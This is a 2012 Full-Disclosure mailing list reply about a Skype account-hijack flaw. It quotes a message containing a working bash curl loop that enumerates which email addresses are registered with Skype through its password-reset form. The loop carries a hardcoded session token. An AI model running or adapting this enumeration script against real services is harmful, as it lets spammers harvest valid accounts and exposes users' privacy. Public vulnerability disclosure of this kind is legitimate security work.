full-disclosure - Re: Skype account + IM history hijack vulnerability

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Date: Wed, 14 Nov 2012 15:51:02 +0000
From: Benji <me@...ji.com>
To: klondike <klondike@...ndike.es>
Cc: Full-Disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: Skype account + IM history hijack
	vulnerability

Oracle attacks?

See into the future?
Padding oracle attacks?
Oracle SQL injections?


On Wed, Nov 14, 2012 at 3:44 PM, klondike <klondike@...ndike.es> wrote:

> El 14/11/12 11:20, Kirils Solovjovs escribió:
> > The team has worked around this and are now trying to fix the
> > bug/feature. :)
> >
> >
> http://www.reddit.com/r/netsec/comments/13664q/skype_vulnerability_allowing_hijacking_of_any/
> Well, they also seem to be vulnerable to oracle attacks against the
> e-mail database through the same forgotten password form so I wouldn't
> be surprised if an spammer has already been exploiting this.
>
> Below is the classical bash script to exploit it, just input a newline
> separated list of e-mails and it will send the request and filter those
> which are clearly not in the database:
> $ while read mail trash; do curl
> 'https://login.skype.com/account/password-reset-request' -s -o- -b
> "skype-session-token=336ff76c68bf17b54eb0d2dc81f8bd6f1500a7fd" -d
> "email=$mail&session_token=336ff76c68bf17b54eb0d2dc81f8bd6f1500a7fd" |
> fgrep "The email address you entered is invalid." > /dev/null || echo
> $mail; done
>
> klondike
>
>
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